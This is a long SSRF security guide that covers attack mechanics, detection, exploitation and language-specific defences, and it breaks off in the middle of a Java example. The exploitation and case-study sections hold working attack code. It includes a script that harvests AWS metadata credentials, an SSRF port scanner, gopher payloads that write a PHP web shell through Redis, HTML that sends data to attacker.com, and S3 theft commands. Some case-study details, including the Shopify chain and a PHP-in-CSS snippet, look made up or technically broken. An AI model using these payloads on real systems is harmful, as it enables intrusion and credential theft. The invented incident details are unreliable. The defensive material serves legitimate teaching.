Complete SSRF Security Guide

Understanding, Identifying, and Preventing Server-Side Request Forgery Vulnerabilities

Comprehensive Guide40+ Code ExamplesSecurity Professional40-60 min read

1.Introduction to SSRF

Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to cause the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. In typical SSRF attacks, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure, or force the server to connect to arbitrary external systems, potentially leaking sensitive data.

Critical Impact
SSRF vulnerabilities have led to some of the most severe security breaches in recent years, including the 2019 Capital One breach that exposed data of over 100 million customers. The vulnerability allowed attackers to access AWS metadata endpoints and steal credentials.

What Makes SSRF Dangerous?

  • Bypasses Network Segmentation: Attackers can reach internal services that are not directly accessible from the internet
  • Cloud Metadata Access: In cloud environments, SSRF can expose sensitive credentials and configuration data
  • Port Scanning: Internal network reconnaissance and service enumeration
  • Data Exfiltration: Reading local files and accessing internal databases

Types of SSRF

Basic SSRF

The attacker receives a direct response from the target server. The application fetches a resource and returns it to the user, allowing the attacker to see the response content.

Blind SSRF

The application makes the request but doesn't return the response to the attacker. Detection relies on side-channel techniques like timing analysis, DNS lookups, or out-of-band data exfiltration.

Common Attack Scenarios

SSRF vulnerabilities commonly appear in applications that:

  • Fetch remote URLs for webhooks, RSS feeds, or URL previews
  • Process file uploads that accept URLs as input
  • Generate PDFs or documents from HTML/URLs
  • Integrate with third-party APIs or services
  • Parse XML with external entity references

2.Understanding SSRF Mechanics

To effectively identify and prevent SSRF vulnerabilities, it's crucial to understand how these attacks work at a technical level. This section explores the mechanics of SSRF, including request flows, protocol exploitation, and network architecture considerations.

Attack Flow

A typical SSRF attack follows this pattern:

  1. 1. Attacker identifies injection point: Find where the application accepts URLs or makes server-side requests
  2. 2. Craft malicious payload: Create a URL targeting internal resources
  3. 3. Server makes request: Application fetches the attacker-controlled URL
  4. 4. Response handling: Attacker receives data or infers information from timing/errors
Protocol Exploitation
While HTTP/HTTPS are most common, SSRF can abuse other protocols like file://, gopher://, dict://, ftp://, and more depending on the underlying libraries used by the application.

Vulnerable Functions and Libraries

Different programming languages have various functions that can be exploited for SSRF:

pythonpython_vulnerable.py
1import requests
2import urllib
3
4# Python - Vulnerable SSRF examples
5def fetch_url_unsafe(url):
6    # requests library - vulnerable if URL not validated
7    response = requests.get(url)
8    return response.text
9
10def fetch_with_urllib(url):
11    # urllib - can access file:// and other protocols
12    response = urllib.request.urlopen(url)
13    return response.read()
14
15# Attacker can provide:
16# http://169.254.169.254/latest/meta-data/
17# file:///etc/passwd
18# gopher://internal-server:6379/_SET%20key%20value
javascriptnodejs_vulnerable.js
1const axios = require('axios');
2const http = require('http');
3
4// Node.js - Vulnerable SSRF examples
5async function fetchUrlUnsafe(url) {
6    // axios - vulnerable without proper validation
7    const response = await axios.get(url);
8    return response.data;
9}
10
11function fetchWithHttp(url) {
12    // native http module - can be exploited
13    return new Promise((resolve, reject) => {
14        http.get(url, (res) => {
15            let data = '';
16            res.on('data', chunk => data += chunk);
17            res.on('end', () => resolve(data));
18        }).on('error', reject);
19    });
20}
21
22// Attacker payloads:
23// http://localhost:6379/ (Redis)
24// http://127.0.0.1:9200/_search (Elasticsearch)
25// http://[::1]:8080/admin (IPv6 localhost)
phpphp_vulnerable.php
1<?php
2// PHP - Vulnerable SSRF examples
3
4function fetchUrlUnsafe($url) {
5    // file_get_contents - supports multiple protocols
6    $content = file_get_contents($url);
7    return $content;
8}
9
10function fetchWithCurl($url) {
11    // cURL - vulnerable if CURLOPT_PROTOCOLS not restricted
12    $ch = curl_init();
13    curl_setopt($ch, CURLOPT_URL, $url);
14    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
15    $result = curl_exec($ch);
16    curl_close($ch);
17    return $result;
18}
19
20// Exploitable with:
21// file:///var/www/html/config.php
22// php://filter/convert.base64-encode/resource=/etc/passwd
23// dict://localhost:11211/stats (Memcached)
24?>

Protocol Smuggling

SSRF attacks can leverage various protocols beyond HTTP:

ProtocolUse CaseExample Target
file://Read local filesfile:///etc/passwd
dict://Query servicesdict://localhost:11211/stat
gopher://Send arbitrary datagopher://redis:6379/_SET
ftp://FTP servicesftp://internal-ftp/
ldap://LDAP queriesldap://internal-ldap/
tftp://Trivial FTPtftp://internal/config

Cloud Metadata Services

Cloud environments expose metadata services that are prime SSRF targets:

AWS Metadata Service (IMDSv1)

bash
1# AWS EC2 Metadata Service
2# Accessible at a special non-routable address
3curl http://169.254.169.254/latest/meta-data/
4
5# Common endpoints:
6curl http://169.254.169.254/latest/meta-data/hostname
7curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
8curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
9
10# User data (often contains sensitive info):
11curl http://169.254.169.254/latest/user-data/

The AWS metadata service provides temporary credentials that can be used to authenticate to AWS APIs. IMDSv1 is vulnerable to SSRF, while IMDSv2 requires a token obtained via PUT request.

GCP Metadata Service

bash
1# Google Cloud Platform Metadata
2# Requires special header: Metadata-Flavor: Google
3curl -H "Metadata-Flavor: Google" \
4  http://metadata.google.internal/computeMetadata/v1/
5
6# Get access token:
7curl -H "Metadata-Flavor: Google" \
8  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
9
10# Project info:
11curl -H "Metadata-Flavor: Google" \
12  http://metadata.google.internal/computeMetadata/v1/project/project-id

GCP requires the Metadata-Flavor header, but SSRF vulnerabilities that allow header injection can still exploit this service.

Azure Instance Metadata Service (IMDS)

bash
1# Azure Instance Metadata Service
2# Requires header: Metadata: true
3curl -H "Metadata: true" \
4  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
5
6# Get access token:
7curl -H "Metadata: true" \
8  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
9
10# Instance details:
11curl -H "Metadata: true" \
12  "http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01"

Azure's IMDS requires the Metadata header. The service provides OAuth tokens for Azure Resource Manager and other Azure services.

Real-World Impact
The Capital One breach (2019) exploited an SSRF vulnerability to access AWS metadata and steal credentials. The attacker used these credentials to exfiltrate data from S3 buckets containing personal information of over 100 million customers.

3.Identifying SSRF Vulnerabilities

Effective identification of SSRF vulnerabilities requires both automated scanning and manual testing techniques. This section covers detection methodologies for both black-box and white-box testing scenarios.

Detection Methodology

Black-Box Testing

  • Map all URL parameters and inputs
  • Test with out-of-band detection
  • Analyze timing differences
  • Check error messages for information leakage

White-Box Testing

  • Code review for HTTP client usage
  • Trace user input to network requests
  • Identify missing input validation
  • Check for URL parsing inconsistencies

Common Injection Points

Look for SSRF vulnerabilities in these common scenarios:

http
1# URL Parameters
2GET /api/fetch?url=http://evil.com HTTP/1.1
3
4# POST Body (JSON)
5POST /api/webhook HTTP/1.1
6Content-Type: application/json
7
8{"callback_url": "http://evil.com"}
9
10# File Uploads
11POST /upload HTTP/1.1
12Content-Type: multipart/form-data
13
14Content-Disposition: form-data; name="avatar"
15Content-Type: text/plain
16
17http://evil.com/avatar.jpg
18
19# XML External Entities (XXE to SSRF)
20POST /api/parse HTTP/1.1
21Content-Type: application/xml
22
23<!DOCTYPE foo [
24  <!ENTITY xxe SYSTEM "http://internal-server/secret">
25]>
26<data>&xxe;</data>
27
28# PDF Generation
29POST /api/generate-pdf HTTP/1.1
30
31{"html": "<img src='http://evil.com/track'>"}
32
33# Image Processing
34POST /api/resize HTTP/1.1
35
36{"image_url": "http://169.254.169.254/latest/meta-data/"}

Out-of-Band Detection

For blind SSRF, use out-of-band techniques to confirm the vulnerability:

DNS Exfiltration
Use tools like Burp Collaborator, interact.sh, or your own DNS server to detect blind SSRF through DNS lookups. When the server makes a request to your domain, you'll receive a DNS query.
bashoob_detection.sh
1# Using Burp Collaborator or interact.sh
2# Test payload:
3http://YOUR-SUBDOMAIN.burpcollaborator.net
4http://YOUR-SUBDOMAIN.interact.sh
5
6# Check for DNS requests in your monitoring tool
7
8# Alternative: Run your own DNS server
9# Install and configure dnslog or similar tool
10python3 -m http.server 8080 &
11# Monitor access logs for incoming requests
12
13# Advanced: DNS exfiltration with subdomains
14http://data-exfil.YOUR-DOMAIN.com
15# Where 'data-exfil' can contain encoded data

Testing Workflow

Follow this systematic approach to identify SSRF:

  1. 1.
    Reconnaissance:

    Map all endpoints that accept URLs or make external requests. Look for parameters like url, link, callback, webhook, src, href, etc.

  2. 2.
    Baseline Testing:

    Test with a legitimate URL to understand normal behavior, response times, and error handling.

  3. 3.
    Internal IP Testing:

    Try accessing internal IP ranges: 127.0.0.1, 192.168.0.0/16, 10.0.0.0/8, 172.16.0.0/12

  4. 4.
    Cloud Metadata:

    Test for cloud metadata endpoints: 169.254.169.254 (AWS/Azure), metadata.google.internal (GCP)

  5. 5.
    Protocol Testing:

    Try different protocols: file://, dict://, gopher://, ftp://

  6. 6.
    Bypass Testing:

    If filters exist, test bypass techniques (covered in next section)

  7. 7.
    Documentation:

    Document findings with proof-of-concept, impact assessment, and remediation recommendations

Automated Scanning
Tools like Burp Suite Pro, Nuclei, and specialized SSRF scanners can help identify potential vulnerabilities. However, manual verification is essential to confirm exploitability and assess real-world impact.

4.SSRF Exploitation Techniques

Once an SSRF vulnerability is identified, various exploitation techniques can be employed depending on the context and available defenses. This section covers advanced bypass methods and exploitation strategies.

Responsible Disclosure
These techniques are for authorized security testing only. Always obtain proper authorization before testing systems you don't own. Unauthorized access is illegal.

Bypass Techniques

Many applications attempt to block SSRF with filters. Here are common bypass techniques:

1. IP Address Encoding

text
1# Different representations of 127.0.0.1
2
3# Decimal notation
4http://2130706433/    # 127*256^3 + 0*256^2 + 0*256 + 1
5
6# Octal notation
7http://0177.0000.0000.0001/
8http://017700000001/
9
10# Hexadecimal notation
11http://0x7f.0x0.0x0.0x1/
12http://0x7f000001/
13
14# Mixed notation
15http://0x7f.0.0.1/
16http://127.0.0.0x1/
17
18# Integer overflow (on some systems)
19http://2852039166/     # 169.254.169.254 as decimal
20
21# IPv6 representations
22http://[::1]/          # IPv6 localhost
23http://[0:0:0:0:0:ffff:127.0.0.1]/  # IPv4-mapped IPv6
24http://[::ffff:127.0.0.1]/
25
26# Enclosed alphanumerics
27http://①②⑦.⓪.⓪.①/

2. DNS Rebinding

DNS rebinding exploits the time-of-check vs time-of-use vulnerability. Set up a domain that resolves to different IPs on subsequent requests:

pythondns_rebinding.py
1# DNS rebinding concept
2# Domain setup with very low TTL (0 seconds)
3
4# First request:  attacker.com -> 1.2.3.4 (public IP, passes check)
5# Second request: attacker.com -> 127.0.0.1 (internal IP, exploited)
6
7# Tools that help: singularity, whonow, rebind.network
8
9# Example attack flow:
10# 1. Application checks: "Is attacker.com allowed?"
11#    DNS resolves to public IP -> ALLOWED
12# 2. Application makes request to attacker.com
13#    DNS now resolves to 169.254.169.254 -> EXPLOITED!

3. URL Parser Differentials

Exploit differences between URL validation and URL fetching libraries:

text
1# Using @ symbol to bypass checks
2http://expected-host@169.254.169.254/
3# Some parsers read "expected-host" as hostname
4# But actual request goes to 169.254.169.254
5
6# Using # fragment
7http://169.254.169.254#expected-host.com
8# Fragment may be ignored during validation
9
10# Using \ vs / (Windows)
11http://169.254.169.254\@expected-host.com
12
13# URL with credentials
14http://user:pass@expected-host.com@169.254.169.254/
15
16# Rare characters that might be mishandled
17http://expected-host%00.evil.com
18http://expected-host%0d%0a@evil.com
19
20# Case sensitivity tricks
21http://127.0.0.1 vs HTTP://127.0.0.1

4. Protocol Smuggling

text
1# Using gopher:// to send arbitrary data to services
2
3# Example: Sending commands to Redis
4gopher://127.0.0.1:6379/_SET%20key%20value
5gopher://127.0.0.1:6379/_GET%20key
6
7# Example: SMTP injection
8gopher://internal-smtp:25/_MAIL%20FROM:%3Cattacker@evil.com%3E%0ARCPT%20TO:%3Cvictim@target.com%3E
9
10# Example: Memcached injection
11gopher://127.0.0.1:11211/_set%20key%200%200%205%0Avalue
12
13# Using dict:// for service probing
14dict://127.0.0.1:6379/info
15
16# Using file:// for local file access
17file:///etc/passwd
18file:///c:/windows/win.ini
19
20# Using jar:// (Java)
21jar:http://evil.com!/file.txt
22
23# Using php:// wrappers
24php://filter/convert.base64-encode/resource=/etc/passwd

5. Open Redirect Chains

Combine SSRF with open redirects to bypass domain allowlists:

text
1# If application only allows specific domains:
2http://trusted-domain.com/redirect?url=http://169.254.169.254/
3
4# Chain multiple redirects
5http://trusted-domain.com/redirect?url=http://another-redirect.com/redir?target=http://internal/
6
7# Using URL shorteners
8http://bit.ly/XXXXX -> http://169.254.169.254/
9
10# Using PDF/document generators with redirects
11{"url": "http://trusted-domain.com/redirect?to=file:///etc/passwd"}

6. CRLF Injection

text
1# Inject newlines to manipulate HTTP requests
2http://example.com%0d%0aX-Injected-Header:%20value
3
4# Bypass host checks
5http://expected-host.com%0d%0aHost:%20169.254.169.254
6
7# Full request smuggling (if vulnerable)
8http://example.com%0d%0a%0d%0aGET%20/admin%20HTTP/1.1%0d%0aHost:%20localhost

Advanced Exploitation

Port Scanning Internal Networks

pythonport_scan.py
1import requests
2import time
3
4def ssrf_port_scan(base_url, target_ip, ports):
5    """
6    Use SSRF to scan internal network ports
7    Timing differences indicate open/closed ports
8    """
9    results = {}
10
11    for port in ports:
12        url = f"{base_url}?url=http://{target_ip}:{port}/"
13
14        try:
15            start = time.time()
16            response = requests.get(url, timeout=5)
17            elapsed = time.time() - start
18
19            # Analyze response
20            if response.status_code == 200:
21                results[port] = "open"
22            elif elapsed > 3:
23                results[port] = "filtered/timeout"
24            else:
25                results[port] = "closed"
26
27        except requests.exceptions.Timeout:
28            results[port] = "filtered/timeout"
29        except Exception as e:
30            results[port] = f"error: {str(e)}"
31
32    return results
33
34# Example usage
35base_url = "http://vulnerable-app.com/fetch"
36target = "192.168.1.100"
37common_ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200]
38
39results = ssrf_port_scan(base_url, target, common_ports)
40for port, status in results.items():
41    print(f"Port {port}: {status}")

Exploiting AWS Metadata

pythonaws_metadata_exfil.py
1import requests
2
3def exploit_aws_metadata(ssrf_url):
4    """
5    Exploit SSRF to steal AWS credentials from metadata service
6    """
7    metadata_base = "http://169.254.169.254/latest/meta-data"
8
9    # Step 1: Enumerate IAM roles
10    roles_url = f"{ssrf_url}?url={metadata_base}/iam/security-credentials/"
11    response = requests.get(roles_url)
12
13    if response.status_code != 200:
14        print("Failed to access metadata service")
15        return
16
17    role_name = response.text.strip()
18    print(f"Found IAM role: {role_name}")
19
20    # Step 2: Get temporary credentials
21    creds_url = f"{ssrf_url}?url={metadata_base}/iam/security-credentials/{role_name}"
22    response = requests.get(creds_url)
23
24    if response.status_code == 200:
25        import json
26        creds = json.loads(response.text)
27
28        print("\nStolen AWS Credentials:")
29        print(f"AccessKeyId: {creds.get('AccessKeyId')}")
30        print(f"SecretAccessKey: {creds.get('SecretAccessKey')}")
31        print(f"Token: {creds.get('Token')}")
32        print(f"Expiration: {creds.get('Expiration')}")
33
34        return creds
35
36    return None
37
38# Example usage
39ssrf_url = "http://vulnerable-app.com/api/fetch"
40credentials = exploit_aws_metadata(ssrf_url)
41
42# These credentials can now be used with AWS CLI or SDKs
43# export AWS_ACCESS_KEY_ID=...
44# export AWS_SECRET_ACCESS_KEY=...
45# export AWS_SESSION_TOKEN=...
IMDSv2 Protection
AWS IMDSv2 requires a session token obtained via PUT request, making it resistant to SSRF. However, many older EC2 instances still run IMDSv1. Always test for both versions.

Reading Local Files

bash
1# Common files to target on Linux
2file:///etc/passwd
3file:///etc/shadow
4file:///etc/hosts
5file:///proc/self/environ
6file:///proc/self/cmdline
7file:///var/log/apache2/access.log
8file:///var/www/html/config.php
9file:///home/user/.ssh/id_rsa
10file:///root/.bash_history
11
12# Common files on Windows
13file:///c:/windows/win.ini
14file:///c:/windows/system32/drivers/etc/hosts
15file:///c:/inetpub/wwwroot/web.config
16file:///c:/users/administrator/.ssh/id_rsa
17
18# Application-specific files
19file:///var/www/html/.env
20file:///app/config/database.yml
21file:///etc/nginx/nginx.conf

Blind SSRF Exploitation

When you don't receive direct responses, use these techniques:

pythonblind_ssrf.py
1import requests
2import time
3
4def blind_ssrf_timing(base_url, test_ip, port):
5    """
6    Use timing analysis to detect open ports in blind SSRF
7    Open ports typically respond faster than closed ones
8    """
9    url = f"{base_url}?url=http://{test_ip}:{port}/"
10
11    timings = []
12    for i in range(3):  # Multiple attempts for accuracy
13        start = time.time()
14        try:
15            requests.get(url, timeout=10)
16        except:
17            pass
18        elapsed = time.time() - start
19        timings.append(elapsed)
20
21    avg_time = sum(timings) / len(timings)
22
23    # Open ports usually respond quickly (< 1s)
24    # Closed ports timeout or take longer
25    return "possibly open" if avg_time < 2 else "likely closed"
26
27def blind_ssrf_dns_exfil(ssrf_url, collab_url):
28    """
29    Use DNS exfiltration for blind SSRF detection
30    """
31    # Payload causes DNS lookup to your domain
32    payload = f"{ssrf_url}?url=http://{collab_url}/"
33
34    print(f"Sending payload: {payload}")
35    requests.get(payload)
36
37    print(f"Check your DNS logs at {collab_url} for incoming requests")
38
39# Example usage
40base_url = "http://vulnerable-app.com/process"
41print(blind_ssrf_timing(base_url, "192.168.1.1", 80))
42
43# Use Burp Collaborator or interact.sh
44blind_ssrf_dns_exfil(base_url, "your-subdomain.interact.sh")
Bug Bounty Tip
When reporting SSRF findings, clearly demonstrate the impact. Access to cloud metadata, internal services, or sensitive files significantly increases the severity rating. Include detailed reproduction steps and potential business impact.

5.Real-World Examples & Case Studies

Understanding real-world SSRF vulnerabilities helps security professionals recognize patterns and assess impact. This section examines notable security incidents and bug bounty reports.

Capital One Data Breach (2019)

Impact: 100+ million customers affected, $80 million fine from regulators

Attack Chain:

  1. 1. Attacker identified SSRF vulnerability in web application firewall (WAF) configuration
  2. 2. Exploited SSRF to access AWS metadata service (169.254.169.254)
  3. 3. Stole IAM role credentials from metadata endpoint
  4. 4. Used credentials to access S3 buckets containing customer data
  5. 5. Exfiltrated over 30GB of sensitive data
Root Cause
The vulnerability stemmed from a misconfigured WAF that allowed requests to the metadata service. The instance was running IMDSv1, which doesn't require authentication tokens.
bashcapital_one_attack.sh
1# Simplified representation of the attack
2
3# Step 1: Exploit SSRF to reach metadata service
4curl -X POST "http://vulnerable-waf.com/api/fetch" \
5  -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
6
7# Response: role-name
8
9# Step 2: Get credentials for the role
10curl -X POST "http://vulnerable-waf.com/api/fetch" \
11  -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
12
13# Response:
14# {
15#   "AccessKeyId": "ASIA...",
16#   "SecretAccessKey": "...",
17#   "Token": "..."
18# }
19
20# Step 3: Use stolen credentials with AWS CLI
21export AWS_ACCESS_KEY_ID="ASIA..."
22export AWS_SECRET_ACCESS_KEY="..."
23export AWS_SESSION_TOKEN="..."
24
25# Step 4: List and download S3 buckets
26aws s3 ls
27aws s3 sync s3://capital-one-customer-data ./stolen-data/

Shopify SSRF to RCE

Bounty: $25,000

A security researcher discovered an SSRF vulnerability in Shopify's image processing functionality that could be chained into remote code execution.

Vulnerability Details:

  • Image proxy endpoint accepted arbitrary URLs
  • Used to access internal services including Redis
  • Gopher protocol allowed sending arbitrary Redis commands
  • Achieved RCE by writing web shell through Redis
textshopify_ssrf.txt
1# Attack flow
2
3# Step 1: Identify SSRF in image proxy
4POST /api/image-proxy HTTP/1.1
5Host: shopify.com
6Content-Type: application/json
7
8{"url": "http://attacker.com/test.jpg"}
9
10# Step 2: Discover internal Redis (port 6379)
11{"url": "http://127.0.0.1:6379/"}
12
13# Step 3: Use gopher to send Redis commands
14# Gopher protocol allows arbitrary TCP streams
15{"url": "gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a"}
16
17# Step 4: Write web shell through Redis
18{"url": "gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$5%0d%0ashell%0d%0a$50%0d%0a<?php system($_GET['cmd']); ?>%0d%0a"}
19
20# Step 5: Save to web root using Redis config
21{"url": "gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a"}
22{"url": "gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a"}
23{"url": "gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0asave%0d%0a"}
24
25# Step 6: Execute commands
26http://shopify.com/shell.php?cmd=whoami

Google Cloud SSRF (Metadata Confusion)

Reported: 2020

Researchers found that Google Cloud's requirement for the "Metadata-Flavor: Google" header could be bypassed in certain configurations through CRLF injection.

pythongcp_ssrf_bypass.py
1# GCP normally requires special header
2# curl -H "Metadata-Flavor: Google" http://metadata.google.internal/
3
4# But CRLF injection can add headers
5payload = "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token%0d%0aMetadata-Flavor:%20Google%0d%0a"
6
7# URL-encoded CRLF (%0d%0a) injects newline
8# Resulting request:
9# GET /computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1
10# Host: metadata.google.internal
11# Metadata-Flavor: Google
12# [rest of headers...]

Uber SSRF via PDF Generator

Bounty: $10,000

An SSRF vulnerability in Uber's PDF receipt generation service allowed access to internal APIs and AWS metadata.

htmluber_pdf_ssrf.html
1<!-- PDF generators often process HTML with external resources -->
2
3<!-- Step 1: Embed image pointing to metadata service -->
4<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
5
6<!-- Step 2: Use CSS to exfiltrate data -->
7<style>
8  @import url('http://attacker.com/exfil?data=<?php echo file_get_contents("http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"); ?>');
9</style>
10
11<!-- Step 3: JavaScript execution (if enabled) -->
12<script>
13  fetch('http://169.254.169.254/latest/meta-data/')
14    .then(r => r.text())
15    .then(data => {
16      // Send to attacker's server
17      fetch('http://attacker.com/log?data=' + btoa(data));
18    });
19</script>
20
21<!-- Step 4: SVG with external entities -->
22<svg xmlns="http://www.w3.org/2000/svg">
23  <image href="http://169.254.169.254/latest/meta-data/" />
24</svg>

Common Patterns in Bug Bounty Reports

High-Value Targets

  • • Webhook endpoints
  • • Image processing services
  • • PDF/document generators
  • • URL preview features
  • • RSS/feed readers
  • • Import from URL functions

High-Impact Findings

  • • Cloud metadata access
  • • Internal API exposure
  • • Database access (Redis, etc.)
  • • File system access
  • • RCE chain opportunities
  • • Sensitive data exposure
Lessons Learned
These real-world examples demonstrate that SSRF is not just a theoretical vulnerability. Proper input validation, network segmentation, and least-privilege principles are critical. Organizations should assume internal networks are hostile and implement defense-in-depth strategies.

6.Prevention & Mitigation

Preventing SSRF requires a defense-in-depth approach combining input validation, network architecture, and secure coding practices. This section provides actionable mitigation strategies for each programming language and framework.

Defense-in-Depth
No single defense is foolproof. Implement multiple layers of protection: input validation, network segmentation, least privilege, and monitoring.

General Prevention Principles

1. Input Validation

  • • Use allowlists, not blocklists
  • • Validate URL scheme (http/https only)
  • • Resolve DNS before validation
  • • Block private IP ranges (RFC 1918)
  • • Block cloud metadata endpoints
  • • Validate after redirects

2. Network Segmentation

  • • Isolate external request services
  • • Use egress filtering
  • • Implement network policies
  • • Disable unnecessary protocols

3. Application-Level Controls

  • • Disable redirects or validate destinations
  • • Set aggressive timeouts
  • • Limit response sizes
  • • Remove authentication headers
  • • Log all external requests

Secure Implementation by Language

Python (requests, urllib)

❌ Vulnerable Code

python
1import requests
2
3def fetch_url(url):
4    # NO VALIDATION!
5    response = requests.get(url)
6    return response.text
7
8# Attacker can access anything
9fetch_url("http://169.254.169.254/latest/meta-data/")

✅ Secure Code

python
1import requests
2import socket
3import ipaddress
4from urllib.parse import urlparse
5
6def is_safe_url(url):
7    try:
8        parsed = urlparse(url)
9
10        # Only allow http/https
11        if parsed.scheme not in ['http', 'https']:
12            return False
13
14        # Resolve hostname to IP
15        hostname = parsed.hostname
16        if not hostname:
17            return False
18
19        ip = socket.gethostbyname(hostname)
20        ip_obj = ipaddress.ip_address(ip)
21
22        # Block private IPs
23        if ip_obj.is_private or ip_obj.is_loopback:
24            return False
25
26        # Block cloud metadata
27        if ip == '169.254.169.254':
28            return False
29
30        # Optional: Domain allowlist
31        allowed_domains = ['api.trusted.com']
32        if hostname not in allowed_domains:
33            return False
34
35        return True
36    except Exception:
37        return False
38
39def fetch_url_safe(url):
40    if not is_safe_url(url):
41        raise ValueError("URL not allowed")
42
43    response = requests.get(
44        url,
45        timeout=5,
46        allow_redirects=False,  # Disable redirects
47        headers={'User-Agent': 'MyApp/1.0'}
48    )
49
50    # Limit response size
51    if len(response.content) > 10 * 1024 * 1024:  # 10MB
52        raise ValueError("Response too large")
53
54    return response.text

Node.js (axios, fetch)

❌ Vulnerable Code

javascript
1const axios = require('axios');
2
3async function fetchUrl(url) {
4  // NO VALIDATION!
5  const response = await axios.get(url);
6  return response.data;
7}
8
9// Exploitable
10fetchUrl('http://169.254.169.254/latest/meta-data/')

✅ Secure Code

javascript
1const axios = require('axios');
2const dns = require('dns').promises;
3const { URL } = require('url');
4const ipaddr = require('ipaddr.js');
5
6async function isSafeUrl(urlString) {
7  try {
8    const url = new URL(urlString);
9
10    // Only allow http/https
11    if (!['http:', 'https:'].includes(url.protocol)) {
12      return false;
13    }
14
15    // Resolve DNS
16    const addresses = await dns.resolve4(url.hostname);
17
18    for (const addr of addresses) {
19      const ip = ipaddr.parse(addr);
20
21      // Block private ranges
22      if (ip.range() !== 'unicast') {
23        return false;
24      }
25
26      // Block metadata
27      if (addr === '169.254.169.254') {
28        return false;
29      }
30    }
31
32    // Domain allowlist
33    const allowed = ['api.trusted.com'];
34    if (!allowed.includes(url.hostname)) {
35      return false;
36    }
37
38    return true;
39  } catch (err) {
40    return false;
41  }
42}
43
44async function fetchUrlSafe(url) {
45  if (!(await isSafeUrl(url))) {
46    throw new Error('URL not allowed');
47  }
48
49  const response = await axios.get(url, {
50    timeout: 5000,
51    maxRedirects: 0,
52    maxContentLength: 10 * 1024 * 1024, // 10MB
53    headers: {
54      'User-Agent': 'MyApp/1.0'
55    }
56  });
57
58  return response.data;
59}

PHP (cURL, file_get_contents)

❌ Vulnerable Code

php
1<?php
2function fetchUrl($url) {
3    // DANGEROUS!
4    return file_get_contents($url);
5}
6
7// Exploitable with file://, php://, etc.
8fetchUrl('file:///etc/passwd');
9?>

✅ Secure Code

php
1<?php
2function isSafeUrl($url) {
3    $parsed = parse_url($url);
4
5    // Only allow http/https
6    if (!in_array($parsed['scheme'], ['http', 'https'])) {
7        return false;
8    }
9
10    $hostname = $parsed['host'];
11    $ip = gethostbyname($hostname);
12
13    // Block private IPs
14    if (!filter_var($ip, FILTER_VALIDATE_IP,
15        FILTER_FLAG_NO_PRIV_RANGE |
16        FILTER_FLAG_NO_RES_RANGE)) {
17        return false;
18    }
19
20    // Block metadata
21    if ($ip === '169.254.169.254') {
22        return false;
23    }
24
25    // Domain allowlist
26    $allowed = ['api.trusted.com'];
27    if (!in_array($hostname, $allowed)) {
28        return false;
29    }
30
31    return true;
32}
33
34function fetchUrlSafe($url) {
35    if (!isSafeUrl($url)) {
36        throw new Exception('URL not allowed');
37    }
38
39    $ch = curl_init();
40    curl_setopt($ch, CURLOPT_URL, $url);
41    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
42    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
43    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
44    curl_setopt($ch, CURLOPT_MAXREDIRS, 0);
45
46    // Restrict protocols
47    curl_setopt($ch, CURLOPT_PROTOCOLS,
48        CURLPROTO_HTTP | CURLPROTO_HTTPS);
49    curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS,
50        CURLPROTO_HTTP | CURLPROTO_HTTPS);
51
52    $result = curl_exec($ch);
53    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
54    curl_close($ch);
55
56    if ($httpCode >= 300 && $httpCode < 400) {
57        throw new Exception('Redirects not allowed');
58    }
59
60    return $result;
61}
62?>

Java (HttpURLConnection, Apache HttpClient)

javaSafeHttpClient.java
1import java.net.*;
2import java.io.*;
3import java.util.*;
4
5public class SafeHttpClient {
6    private static final Set<String> ALLOWED_SCHEMES =
7        new HashSet<>(Arrays.asList("http", "https"));
8    private static final Set<String> ALLOWED_HOSTS =
9        new HashSet<>(Arrays.asList("api.trusted.com"));
10
11    public static boolean isSafeUrl(String urlString) {
12        try {
13            URL url = new URL(urlString);
14
15            // Check scheme
16            if (!ALLOWED_SCHEMES.contains(url.getProtocol())) {
17                return false;
18            }
19
20            // Resolve and check IP
21            String hostname = url.getHost();
22            InetAddress address = InetAddress.getByName(hostname);
23
24            // Block private IPs
25            if (address.isSiteLocalAddress() ||
26                address.isLoopbackAddress() ||
27                address.isLinkLocalAddress()) {
28                return false;
29            }
30
31            // Block cloud metadata
32            if (address.getHostAddress().equals("169.254.169.254")) {
33                return false;
34            }
35
36            // Domain allowlist
37            if (!ALLOWED_HOSTS.contains(hostname)) {
38                return false;
39            }
40
41            return true;
42        } catch (Exception e) {
43            return false;
44        }
45    }
46
47    public static String fetchUrlSafe(String urlString) throws Exception {
48        if (!isSafeUrl(urlString)) {
49            throw new SecurityException("URL not allowed");
50        }
51
52        URL url = new URL(urlString);
53        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
54
55        // Security settings
56        conn.setInstanceFollowRedirects(false);
57        conn.setConnectTimeout(5000);
58        conn.setReadTimeout(5000);
59        conn.setRequestMethod("GET");
60        conn.setRequestProperty("User-Agent", "MyApp/1.0");
61
62        int responseCode = conn.getResponseCode();
